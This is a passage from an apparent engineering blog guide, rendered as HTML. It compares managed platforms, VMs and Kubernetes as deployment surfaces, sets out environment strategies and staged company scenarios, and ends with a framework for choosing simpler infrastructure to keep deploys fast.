          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-choosing-your-environment-strategy"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Production-only</strong> if:</p>
<ul>
<li>Pre-PMF startup (&lt;5 engineers)</li>
<li>Excellent automated test coverage (&gt;80%)</li>
<li>Low user impact from bugs (internal tools, dev tools)</li>
<li>Fast rollback capability (&lt;5 minutes)</li>
</ul>
<p><strong>Ephemeral PR + Production</strong> if:</p>
<ul>
<li>5-50 engineers</li>
<li>Modern tooling (React, Next.js, containerized services)</li>
<li>Fast CI/CD (&lt;10 min test suite)</li>
<li>Supported by your deployment platform</li>
</ul>
<p><strong>Staging + Production</strong> if:</p>
<ul>
<li>Complex integrations requiring manual QA</li>
<li>Slow test suites (&gt;15 minutes)</li>
<li>High cost of bugs in production</li>
<li>You&#39;re not ready for ephemeral environments</li>
</ul>
<p><strong>Dev + Staging + Production</strong> if:</p>
<ul>
<li>Regulated industry with compliance requirements</li>
<li>Multiple external integrations that need isolated testing</li>
<li>Explicitly required by customers/contracts</li>
</ul>
<p><strong>Avoid this unless required.</strong> The velocity tax rarely justifies the additional safety.</p>
<hr>
<h2 id="h2-decision-3-deployment-surface" class="group relative scroll-mt-24">
        <a href="#h2-decision-3-deployment-surface" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Decision 3: Deployment Surface
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-decision-3-deployment-surface"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>The question</strong>: Where does your application code actually run?</p>
<p>This is the &quot;hosting choice&quot; decision: managed platform vs VMs vs containers/Kubernetes.</p>
<h3 id="h3-the-three-deployment-surface-tiers" class="group relative scroll-mt-24">
        <a href="#h3-the-three-deployment-surface-tiers" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Three Deployment Surface Tiers
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-three-deployment-surface-tiers"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Tier 1: Managed Platforms</strong> (Time to first production deploy: 1-3 days)</p>
<p>Examples: Heroku, Render, Railway, Fly.io, DigitalOcean App Platform, Vercel, Netlify</p>
<p><strong>What they handle:</strong></p>
<ul>
<li>Runtime environment (Node, Python, Ruby, etc.)</li>
<li>SSL certificates</li>
<li>Load balancing</li>
<li>Log aggregation</li>
<li>Metrics and health checks</li>
<li>Deployment pipeline</li>
<li>Auto-scaling (some platforms)</li>
</ul>
<p><strong>What you handle:</strong></p>
<ul>
<li>Application code</li>
<li>Database schema migrations</li>
<li>Environment configuration</li>
</ul>
<p><strong>Velocity impact</strong>: Fastest time-to-production. Typical flow:</p>
<ol>
<li>Connect Git repository (5 minutes)</li>
<li>Configure environment variables (10 minutes)</li>
<li>Deploy (platform builds and deploys automatically)</li>
</ol>
<p><strong>From zero to production: 1-3 days</strong> for a new service including development time.</p>
<p><strong>Cost</strong>: $50-$500/month per service for typical web applications.</p>
<p><strong>Trade-off</strong>: Less control over infrastructure. Limited customization of networking, OS-level packages, or deployment strategies.</p>
<p><strong>Best for</strong>: Stateless web apps, APIs, background workers, frontend applications. Teams under 30 engineers.</p>
<p><strong>Tier 2: Virtual Machines</strong> (Time to first production deploy: 1-2 weeks)</p>
<p>Examples: EC2, DigitalOcean Droplets, Linode, Azure VMs</p>
<p><strong>What you handle:</strong></p>
<ul>
<li>OS configuration and patching</li>
<li>Runtime installation (Node, Python, etc.)</li>
<li>Process management (systemd, supervisord)</li>
<li>SSL via Let&#39;s Encrypt/ACM</li>
<li>Application deployment scripts</li>
<li>Log shipping to external service</li>
<li>Monitoring agent installation</li>
</ul>
<p><strong>Velocity impact</strong>: Slower initial setup, but full control. Typical flow:</p>
<ol>
<li>Provision VM and configure networking (2-4 hours)</li>
<li>Install runtime and dependencies (1-2 hours)</li>
<li>Configure deployment automation (4-8 hours)</li>
<li>Set up monitoring/logging (2-4 hours)</li>
<li>Security hardening (2-4 hours)</li>
</ol>
<p><strong>From zero to production: 1-2 weeks</strong> including development.</p>
<p><strong>Cost</strong>: $20-$200/month per VM depending on size. Additional monitoring/logging costs.</p>
<p><strong>Trade-off</strong>: More flexibility, more maintenance. You&#39;re responsible for OS patches, security updates, and daemon management.</p>
<p><strong>Best for</strong>: Stateful applications (databases, message queues), legacy applications with specific OS requirements, long-running processes. Teams 10-50 engineers.</p>
<p><strong>Tier 3: Container Orchestration (Kubernetes)</strong> (Time to first production deploy: 1-3 months)</p>
<p>Examples: EKS, GKE, AKS, self-managed K8s</p>
<p><strong>What you handle:</strong></p>
<ul>
<li>Cluster provisioning and upgrades</li>
<li>Node pool management</li>
<li>Networking (CNI, ingress controllers, service mesh)</li>
<li>Storage (CSI drivers, PVCs)</li>
<li>Deployment manifests (YAML, Helm charts)</li>
<li>GitOps tooling (Argo CD, Flux)</li>
<li>Observability (Prometheus, Grafana)</li>
<li>Security policies (NetworkPolicies, PodSecurityPolicies)</li>
</ul>
<p><strong>Velocity impact</strong>: Slowest initial setup, highest operational complexity. Typical flow for first service:</p>
<ol>
<li>Provision cluster (4-8 hours with managed K8s)</li>
<li>Configure networking/ingress (8-16 hours)</li>
<li>Set up CI/CD pipeline (16-32 hours)</li>
<li>Create deployment manifests (4-8 hours)</li>
<li>Configure monitoring/logging (8-16 hours)</li>
<li>Security hardening (8-16 hours)</li>
<li>Team training (40-80 hours)</li>
</ol>
<p><strong>From zero to production: 1-3 months</strong> for first service with team ramp-up.</p>
<p><strong>Cost</strong>: $200-$1,000/month for managed control plane + nodes. Additional tooling costs (ingress controllers, monitoring, etc.) can add $200-$500/month.</p>
<p><strong>Trade-off</strong>: Maximum flexibility and control. Can handle complex deployment strategies, multi-region, advanced networking. Requires dedicated platform engineering time.</p>
<p><strong>Best for</strong>: Large organizations (50+ engineers), multi-region requirements, complex microservices architectures, teams with existing K8s expertise.</p>
<h3 id="h3-the-deployment-surface-velocity-matrix" class="group relative scroll-mt-24">
        <a href="#h3-the-deployment-surface-velocity-matrix" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Deployment Surface Velocity Matrix
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-deployment-surface-velocity-matrix"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><table>
<thead>
<tr>
<th>Factor</th>
<th>Managed Platform</th>
<th>VMs</th>
<th>Kubernetes</th>
</tr>
</thead>
<tbody><tr>
<td>First deploy</td>
<td>1-3 days</td>
<td>1-2 weeks</td>
<td>1-3 months</td>
</tr>
<tr>
<td>Subsequent deploys</td>
<td>5-15 min</td>
<td>10-30 min</td>
<td>15-45 min</td>
</tr>
<tr>
<td>New service onboarding</td>
<td>1-4 hours</td>
<td>1-2 days</td>
<td>3-5 days</td>
</tr>
<tr>
<td>Team onboarding</td>
<td>1-2 days</td>
<td>3-5 days</td>
<td>2-4 weeks</td>
</tr>
<tr>
<td>Maintenance burden</td>
<td>&lt;5% FTE</td>
<td>10-15% FTE</td>
<td>20-40% FTE</td>
</tr>
<tr>
<td>Debugging complexity</td>
<td>Low</td>
<td>Medium</td>
<td>High</td>
</tr>
<tr>
<td>Multi-region support</td>
<td>Limited</td>
<td>Manual</td>
<td>Native</td>
</tr>
<tr>
<td>Scaling complexity</td>
<td>Automatic</td>
<td>Manual/scripts</td>
<td>Complex but powerful</td>
</tr>
</tbody></table>
<h3 id="h3-the-real-cost-opportunity-cost" class="group relative scroll-mt-24">
        <a href="#h3-the-real-cost-opportunity-cost" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Real Cost: Opportunity Cost
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-real-cost-opportunity-cost"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The question isn&#39;t &quot;how much does Kubernetes cost?&quot; It&#39;s &quot;what could we build with the time we spend on Kubernetes?&quot;</p>
<p><strong>Example</strong>: 30-engineer team chooses Kubernetes</p>
<ul>
<li>Initial setup: 120 engineer-hours = $10,000</li>
<li>Ongoing maintenance: 20% of 2 platform engineers = 0.4 FTE = $6,680/month</li>
<li>Annual cost: $10,000 + ($6,680 × 12) = <strong>$90,160/year</strong></li>
</ul>
<p><strong>Alternative</strong>: Same team chooses managed platform</p>
<ul>
<li>Initial setup: 8 engineer-hours = $670</li>
<li>Ongoing: 5% of 0.5 FTE = $420/month</li>
<li>Annual cost: $670 + ($420 × 12) = <strong>$5,710/year</strong></li>
</ul>
<p><strong>Savings</strong>: $84,450/year in engineering time = <strong>~0.5 FTE freed up</strong> for product development</p>
<h3 id="h3-choosing-your-deployment-surface" class="group relative scroll-mt-24">
        <a href="#h3-choosing-your-deployment-surface" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Choosing Your Deployment Surface
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-choosing-your-deployment-surface"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Choose managed platforms</strong> if:</p>
<ul>
<li>Team &lt;30 engineers</li>
<li>Standard web applications/APIs</li>
<li>No multi-region requirements</li>
<li>Willing to trade control for velocity</li>
</ul>
<p><strong>Choose VMs</strong> if:</p>
<ul>
<li>Specific OS-level dependencies</li>
<li>Long-running stateful processes</li>
<li>Predictable load (no need for rapid scaling)</li>
<li>Team 10-50 engineers</li>
</ul>
<p><strong>Choose Kubernetes</strong> if:</p>
<ul>
<li>50+ engineers with 2+ dedicated platform engineers</li>
<li>Multi-region deployment required</li>
<li>Complex networking requirements</li>
<li>Existing K8s expertise on team</li>
</ul>
<p><strong>Default to the simplest option.</strong> You can always migrate later, but you can&#39;t reclaim the engineering time spent on complex infrastructure.</p>
<hr>
<h2 id="h2-putting-it-all-together-real-world-scenarios" class="group relative scroll-mt-24">
        <a href="#h2-putting-it-all-together-real-world-scenarios" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Putting It All Together: Real-World Scenarios
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-putting-it-all-together-real-world-scenarios"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Let&#39;s see how these three decisions compound in real teams:</p>
<h3 id="h3-scenario-a-early-startup-8-engineers" class="group relative scroll-mt-24">
        <a href="#h3-scenario-a-early-startup-8-engineers" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Scenario A: Early Startup (8 Engineers)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-scenario-a-early-startup-8-engineers"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Infrastructure choices:</strong></p>
<ul>
<li><strong>Provisioning</strong>: Manual via cloud console (Level 1)</li>
<li><strong>Environments</strong>: Production only</li>
<li><strong>Deployment</strong>: Render (managed platform)</li>
</ul>
<p><strong>Velocity profile:</strong></p>
<ul>
<li>Deploy frequency: 15-20×/day across team</li>
<li>Average deploy time: 8 minutes</li>
<li>Infrastructure changes: 2-3×/week taking 2 hours each</li>
<li>Team time on infrastructure: ~5% of capacity</li>
</ul>
<p><strong>Result</strong>: <strong>Maximum product velocity.</strong> Team ships features fast. Infrastructure is barely a consideration.</p>
<p><strong>When to evolve</strong>: At 15+ engineers or when infrastructure changes hit 5+/week.</p>
<h3 id="h3-scenario-b-growth-stage-startup-35-engineers" class="group relative scroll-mt-24">
        <a href="#h3-scenario-b-growth-stage-startup-35-engineers" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Scenario B: Growth-Stage Startup (35 Engineers)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-scenario-b-growth-stage-startup-35-engineers"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Infrastructure choices:</strong></p>
<ul>
<li><strong>Provisioning</strong>: Terraform (Level 3 IaC)</li>
<li><strong>Environments</strong>: Ephemeral PR environments + Production</li>
<li><strong>Deployment</strong>: Mix of Railway (web services) and DigitalOcean VMs (databases, Redis)</li>
</ul>
<p><strong>Velocity profile:</strong></p>
<ul>
<li>Deploy frequency: 60-80×/day across team</li>
<li>Average deploy time: 12 minutes</li>
<li>Infrastructure changes: 10-15×/week taking 45 min each</li>
<li>Team time on infrastructure: ~10% of capacity</li>
<li>1 dedicated platform engineer (not full-time)</li>
</ul>
<p><strong>Result</strong>: <strong>Balanced velocity and control.</strong> Ephemeral environments enable fast feedback. Terraform enables self-service infrastructure for developers. Still shipping quickly without operational burden.</p>
<p><strong>When to evolve</strong>: At 60+ engineers or when single-region becomes a scaling bottleneck.</p>
<h3 id="h3-scenario-c-mid-stage-company-120-engineers" class="group relative scroll-mt-24">
        <a href="#h3-scenario-c-mid-stage-company-120-engineers" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Scenario C: Mid-Stage Company (120 Engineers)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-scenario-c-mid-stage-company-120-engineers"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Infrastructure choices:</strong></p>
<ul>
<li><strong>Provisioning</strong>: Internal developer platform built on Terraform (Level 4)</li>
<li><strong>Environments</strong>: Ephemeral per-PR + Staging + Production</li>
<li><strong>Deployment</strong>: Kubernetes (EKS) with Argo CD</li>
</ul>
<p><strong>Velocity profile:</strong></p>
<ul>
<li>Deploy frequency: 200-300×/day across team</li>
<li>Average deploy time: 18 minutes</li>
<li>Infrastructure changes: Self-service via platform (5 min each)</li>
<li>Team time on infrastructure: ~3% of capacity (concentrated in 5-person platform team)</li>
<li>Platform team: 5 dedicated engineers</li>
</ul>
<p><strong>Result</strong>: <strong>High velocity despite complexity.</strong> Platform team abstracts Kubernetes complexity. Developers self-serve infrastructure. Most teams don&#39;t interact with K8s directly.</p>
<p><strong>Trade-off</strong>: 5 engineers maintain platform = ~$1M/year. Only justified at this scale.</p>
<h3 id="h3-scenario-d-enterprise-400-engineers" class="group relative scroll-mt-24">
        <a href="#h3-scenario-d-enterprise-400-engineers" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Scenario D: Enterprise (400+ Engineers)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-scenario-d-enterprise-400-engineers"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Infrastructure choices:</strong></p>
<ul>
<li><strong>Provisioning</strong>: Multi-cloud IDP with approval workflows (Level 4)</li>
<li><strong>Environments</strong>: Dev + Staging + Prod + per-PR ephemeral (for web tier)</li>
<li><strong>Deployment</strong>: Multi-region Kubernetes across AWS + GCP</li>
</ul>
<p><strong>Velocity profile:</strong></p>
<ul>
<li>Deploy frequency: 800-1,200×/day across org</li>
<li>Average deploy time: 25 minutes (includes compliance checks)</li>
<li>Infrastructure changes: Fully self-service</li>
<li>Team time on infrastructure: ~2% (concentrated in 20-person platform org)</li>
<li>Platform org: 20+ engineers, product managers, SREs</li>
</ul>
<p><strong>Result</strong>: <strong>Velocity maintained at scale through automation.</strong> Extensive tooling and process required. Complex infrastructure is justified by organization size.</p>
<p><strong>Cost</strong>: Platform team is ~$4M+/year. Only viable at enterprise scale with $50M+ engineering budget.</p>
<hr>
<h2 id="h2-the-velocity-decision-framework" class="group relative scroll-mt-24">
        <a href="#h2-the-velocity-decision-framework" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Velocity Decision Framework
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-velocity-decision-framework"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>When making infrastructure decisions, use this framework:</p>
<h3 id="h3-step-1-define-your-velocity-target" class="group relative scroll-mt-24">
        <a href="#h3-step-1-define-your-velocity-target" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 1: Define Your Velocity Target
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-step-1-define-your-velocity-target"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>What&#39;s acceptable for your stage?</p>
<p><strong>Seed stage (&lt;10 engineers):</strong> Deploy 10-20×/day, 5-10 min per deploy<br><strong>Series A (10-30 engineers):</strong> Deploy 30-60×/day, 8-15 min per deploy<br><strong>Series B+ (30-100 engineers):</strong> Deploy 100-200×/day, 10-20 min per deploy<br><strong>Enterprise (100+ engineers):</strong> Deploy 200+/day, 15-30 min per deploy</p>
<h3 id="h3-step-2-calculate-current-velocity-tax" class="group relative scroll-mt-24">
        <a href="#h3-step-2-calculate-current-velocity-tax" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 2: Calculate Current Velocity Tax
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-step-2-calculate-current-velocity-tax"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Measure these:</p>
<ul>
<li>Average time from merge to production deploy</li>
<li>% of engineering time spent on infrastructure work</li>
<li><h1 id="h1-of-manual-approval-gates-in-deployment-pipeline" class="group relative scroll-mt-24">
        <a href="#h1-of-manual-approval-gates-in-deployment-pipeline" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          of manual approval gates in deployment pipeline
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h1-of-manual-approval-gates-in-deployment-pipeline"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h1></li>
<li>Time to provision new infrastructure resources</li>
<li>Time to onboard new engineer to deployment workflow</li>
</ul>
<h3 id="h3-step-3-identify-the-highest-impact-change" class="group relative scroll-mt-24">
        <a href="#h3-step-3-identify-the-highest-impact-change" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 3: Identify the Highest-Impact Change
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-step-3-identify-the-highest-impact-change"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>What&#39;s your biggest bottleneck?</p>
<p><strong>If provisioning takes &gt;2 hours:</strong> Adopt infrastructure as code (Terraform)<br><strong>If deployment takes &gt;30 min:</strong> Reduce environment gates or adopt ephemeral environments<br><strong>If maintenance &gt;15% FTE:</strong> Simplify deployment surface (consider managed platform)</p>
<h3 id="h3-step-4-choose-simplicity-over-flexibility" class="group relative scroll-mt-24">
        <a href="#h3-step-4-choose-simplicity-over-flexibility" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 4: Choose Simplicity Over Flexibility
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-step-4-choose-simplicity-over-flexibility"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>When in doubt, choose the simpler option:</p>
<ul>
<li>Manual provisioning → Scripted → Terraform → Platform (Stop at Terraform unless 50+ engineers)</li>
<li>Production-only → Staging+Prod → Ephemeral+Prod (Stop at Ephemeral unless regulated)</li>
<li>Managed Platform → VMs → Kubernetes (Stop at VMs unless 50+ engineers)</li>
</ul>
<p><strong>Complexity is expensive.</strong> Every additional layer costs 10-20% of an engineer&#39;s time in maintenance.</p>
<h3 id="h3-step-5-plan-your-evolution" class="group relative scroll-mt-24">
